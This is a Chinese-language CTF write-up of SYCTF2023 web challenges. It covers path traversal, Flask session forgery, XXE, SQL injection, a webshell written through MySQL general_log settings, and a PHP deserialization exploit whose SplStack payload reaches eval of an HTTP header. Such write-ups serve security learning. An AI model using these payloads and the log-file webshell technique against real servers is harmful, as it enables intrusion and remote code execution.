SYCTF2023 WEB writeup
阅读原文时间:2023年08月09日阅读:2

一进来就是个任意文件下载功能,不过做了些限制,这题从头到尾都在骂杂鱼。。。(虽然我确实是(bushi)

查看页面源代码,给了个/eval /login 两个路由,/eval是个目录遍历,/login尝试登录无果,有session,应该需要伪造session,利用/eval查看app下的pyc文件,然后down下载

在线找个pyc反编译,成功拿到密钥

直接flask-session-manager伪造session,登录成功后拿到/th1s_1s_The_L4st_one 这个路由,访问查看,xml的页面,猜想存在xxe漏洞,抓个包分析分析,直接payload打,注意得加个Content-Type: text/xml 否则打不通

这题给我ex坏了,第一个页面,myname参数存在注入,sqlmap一把梭

访问/sEcR@t_n@Bodyknow.php 测试发现这是个模拟sql命令行,可以执行sql命令,查看页面源代码发现game.php ,访问查看,猜拳10局,赢了就给flag,结果game表里没有数据,猜测是得我们插入数据来确保我们稳赢,查看当前用户是secret@localhost ,查看一下权限show grants for secret@localhsot,一看不知道一看吓一跳,基本没有权限,有个查询权限和创建用户权限,这还写个屁数据,这里折磨了一整天,想了一堆办法终无果,最终查看大佬方法,开启日志查询,写马getshell,额贼,佩服能想到的,先开启全局日志查询,然后设置当前文件为日志存储文件,这样只需select '',然后 蚁剑连接即可。记得把你的火绒关掉,要不然给拦截了

set global general_log='on'
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php'

查看game.php拿到flag

听说还有修改用户的玩法,有无大佬蕉蕉

php审计,代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'givemegirlfriend!');
        } else {
            echo 'nonono';
        }
    }
}

if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
    unserialize($_GET['Pochy']);
} else {
    echo 'nonono';
}

很经典不能O,a开头,那我们就C开头,不能有ArrayObject,啧,之前ctfshow学到的没用了,最终发现SplStack这个类也能用,然后就是绕__destruct,也就是只能使用[A-Za-z_\(\)],最后带个; 怎么把givemegirlfriend! 除掉是个问题,__halt_compiler(); 可以中断编译器的执行,不让eval解析后面的就行了,这里没法用引号,所以得构造无参rce,exp如下:

<?php
class evil
{
    public $cmd="eval(end(getallheaders()));__halt_compiler();";
}
$a=new SplStack();
$a->push(new evil());
$b=serialize($a);
echo($b);

// 注意得修改成符合C的格式,具体可以自己查资料
// C:8:"SplStack":84:{i:0;:O:4:"evil":1:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";};}

复现复现着环境没了,日。。。。,最终在本地打通。